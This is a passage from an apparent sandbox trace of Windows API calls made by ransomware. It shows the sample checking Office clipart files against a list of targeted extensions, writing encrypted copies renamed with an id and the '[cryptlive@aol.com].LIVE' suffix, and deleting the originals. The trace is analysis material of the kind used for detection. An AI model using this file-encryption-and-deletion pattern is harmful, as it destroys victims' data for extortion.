lpNewFilePointer=0x0) returned 1 [0157.700] SetEndOfFile (hFile=0x1e0) returned 1 [0157.703] CloseHandle (hObject=0x1e0) returned 1 [0157.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf")) returned 1 [0157.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0157.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0157.704] lstrlenW (lpString=".doc") returned 4 [0157.704] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.704] lstrlenW (lpString=".docx") returned 5 [0157.704] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0157.704] lstrlenW (lpString=".pdf") returned 4 [0157.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.704] lstrlenW (lpString=".xls") returned 4 [0157.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.704] lstrlenW (lpString=".xlsx") returned 5 [0157.704] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0157.704] lstrlenW (lpString=".ppt") returned 4 [0157.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0157.704] lstrlenW (lpString=".zip") returned 4 [0157.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.704] lstrlenW (lpString=".rar") returned 4 [0157.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.704] lstrlenW (lpString=".bz2") returned 4 [0157.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.705] lstrlenW (lpString=".7z") returned 3 [0157.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0157.705] lstrlenW (lpString=".dbf") returned 4 [0157.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0157.705] lstrlenW (lpString=".1cd") returned 4 [0157.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0157.705] lstrlenW (lpString=".jpg") returned 4 [0157.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0157.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0157.705] lstrlenW (lpString=".doc") returned 4 [0157.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.705] lstrlenW (lpString=".docx") returned 5 [0157.705] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0157.705] lstrlenW (lpString=".pdf") returned 4 [0157.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.705] lstrlenW (lpString=".xls") returned 4 [0157.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.705] lstrlenW (lpString=".xlsx") returned 5 [0157.705] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0157.705] lstrlenW (lpString=".ppt") returned 4 [0157.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0157.705] lstrlenW (lpString=".zip") returned 4 [0157.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.705] lstrlenW (lpString=".rar") returned 4 [0157.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.705] lstrlenW (lpString=".bz2") returned 4 [0157.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.705] lstrlenW (lpString=".7z") returned 3 [0157.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0157.705] lstrlenW (lpString=".dbf") returned 4 [0157.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0157.706] lstrlenW (lpString=".1cd") returned 4 [0157.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0157.706] lstrlenW (lpString=".jpg") returned 4 [0157.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.706] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0157.706] lstrlenW (lpString="J0107748.WMF") returned 12 [0157.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.707] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=8224) returned 1 [0157.707] CloseHandle (hObject=0x1e0) returned 1 [0157.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf")) returned 0x20 [0157.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.707] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.707] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0157.708] GetLastError () returned 0x0 [0157.708] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x2020, lpOverlapped=0x0) returned 1 [0157.710] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2030, lpOverlapped=0x0) returned 1 [0157.715] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.715] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.715] SetEndOfFile (hFile=0x1dc) returned 1 [0157.715] CloseHandle (hObject=0x1dc) returned 1 [0157.715] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.715] SetEndOfFile (hFile=0x1e0) returned 1 [0157.721] CloseHandle (hObject=0x1e0) returned 1 [0157.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf")) returned 1 [0157.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0157.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0157.724] lstrlenW (lpString=".doc") returned 4 [0157.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.724] lstrlenW (lpString=".docx") returned 5 [0157.724] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0157.724] lstrlenW (lpString=".pdf") returned 4 [0157.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.724] lstrlenW (lpString=".xls") returned 4 [0157.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.724] lstrlenW (lpString=".xlsx") returned 5 [0157.724] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0157.724] lstrlenW (lpString=".ppt") returned 4 [0157.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0157.724] lstrlenW (lpString=".zip") returned 4 [0157.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.724] lstrlenW (lpString=".rar") returned 4 [0157.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.724] lstrlenW (lpString=".bz2") returned 4 [0157.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.724] lstrlenW (lpString=".7z") returned 3 [0157.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0157.724] lstrlenW (lpString=".dbf") returned 4 [0157.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0157.724] lstrlenW (lpString=".1cd") returned 4 [0157.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0157.724] lstrlenW (lpString=".jpg") returned 4 [0157.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0157.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0157.725] lstrlenW (lpString=".doc") returned 4 [0157.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.725] lstrlenW (lpString=".docx") returned 5 [0157.725] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0157.725] lstrlenW (lpString=".pdf") returned 4 [0157.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.725] lstrlenW (lpString=".xls") returned 4 [0157.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.725] lstrlenW (lpString=".xlsx") returned 5 [0157.725] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0157.725] lstrlenW (lpString=".ppt") returned 4 [0157.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0157.725] lstrlenW (lpString=".zip") returned 4 [0157.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.725] lstrlenW (lpString=".rar") returned 4 [0157.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.725] lstrlenW (lpString=".bz2") returned 4 [0157.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.725] lstrlenW (lpString=".7z") returned 3 [0157.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0157.725] lstrlenW (lpString=".dbf") returned 4 [0157.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0157.725] lstrlenW (lpString=".1cd") returned 4 [0157.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0157.725] lstrlenW (lpString=".jpg") returned 4 [0157.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.726] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0157.726] lstrlenW (lpString="J0107750.WMF") returned 12 [0157.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.727] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4716) returned 1 [0157.727] CloseHandle (hObject=0x1e0) returned 1 [0157.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf")) returned 0x20 [0157.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.728] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.728] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0157.729] GetLastError () returned 0x0 [0157.729] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x126c, lpOverlapped=0x0) returned 1 [0157.832] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1270, lpOverlapped=0x0) returned 1 [0157.833] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.833] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.833] SetEndOfFile (hFile=0x1dc) returned 1 [0157.833] CloseHandle (hObject=0x1dc) returned 1 [0157.833] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.834] SetEndOfFile (hFile=0x1e0) returned 1 [0157.836] CloseHandle (hObject=0x1e0) returned 1 [0157.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf")) returned 1 [0157.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0157.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0157.949] lstrlenW (lpString=".doc") returned 4 [0157.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.949] lstrlenW (lpString=".docx") returned 5 [0157.949] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0157.950] lstrlenW (lpString=".pdf") returned 4 [0157.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.950] lstrlenW (lpString=".xls") returned 4 [0157.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.950] lstrlenW (lpString=".xlsx") returned 5 [0157.950] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0157.950] lstrlenW (lpString=".ppt") returned 4 [0157.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0157.950] lstrlenW (lpString=".zip") returned 4 [0157.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.950] lstrlenW (lpString=".rar") returned 4 [0157.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.950] lstrlenW (lpString=".bz2") returned 4 [0157.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.950] lstrlenW (lpString=".7z") returned 3 [0157.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0157.950] lstrlenW (lpString=".dbf") returned 4 [0157.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0157.950] lstrlenW (lpString=".1cd") returned 4 [0157.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0157.950] lstrlenW (lpString=".jpg") returned 4 [0157.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0157.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0157.950] lstrlenW (lpString=".doc") returned 4 [0157.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.950] lstrlenW (lpString=".docx") returned 5 [0157.950] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0157.950] lstrlenW (lpString=".pdf") returned 4 [0157.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.950] lstrlenW (lpString=".xls") returned 4 [0157.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.951] lstrlenW (lpString=".xlsx") returned 5 [0157.951] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0157.951] lstrlenW (lpString=".ppt") returned 4 [0157.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0157.951] lstrlenW (lpString=".zip") returned 4 [0157.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.951] lstrlenW (lpString=".rar") returned 4 [0157.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.951] lstrlenW (lpString=".bz2") returned 4 [0157.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.951] lstrlenW (lpString=".7z") returned 3 [0157.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0157.951] lstrlenW (lpString=".dbf") returned 4 [0157.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0157.951] lstrlenW (lpString=".1cd") returned 4 [0157.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0157.951] lstrlenW (lpString=".jpg") returned 4 [0157.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.951] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0157.951] lstrlenW (lpString="J0145168.JPG") returned 12 [0157.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.952] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=33657) returned 1 [0157.952] CloseHandle (hObject=0x1e0) returned 1 [0157.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg")) returned 0x20 [0157.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.953] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.953] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0157.954] GetLastError () returned 0x0 [0157.954] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x8379, lpOverlapped=0x0) returned 1 [0157.958] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x8380, lpOverlapped=0x0) returned 1 [0157.960] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.960] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.960] SetEndOfFile (hFile=0x1dc) returned 1 [0157.960] CloseHandle (hObject=0x1dc) returned 1 [0157.960] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.960] SetEndOfFile (hFile=0x1e0) returned 1 [0157.963] CloseHandle (hObject=0x1e0) returned 1 [0157.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg")) returned 1 [0157.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0157.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0157.964] 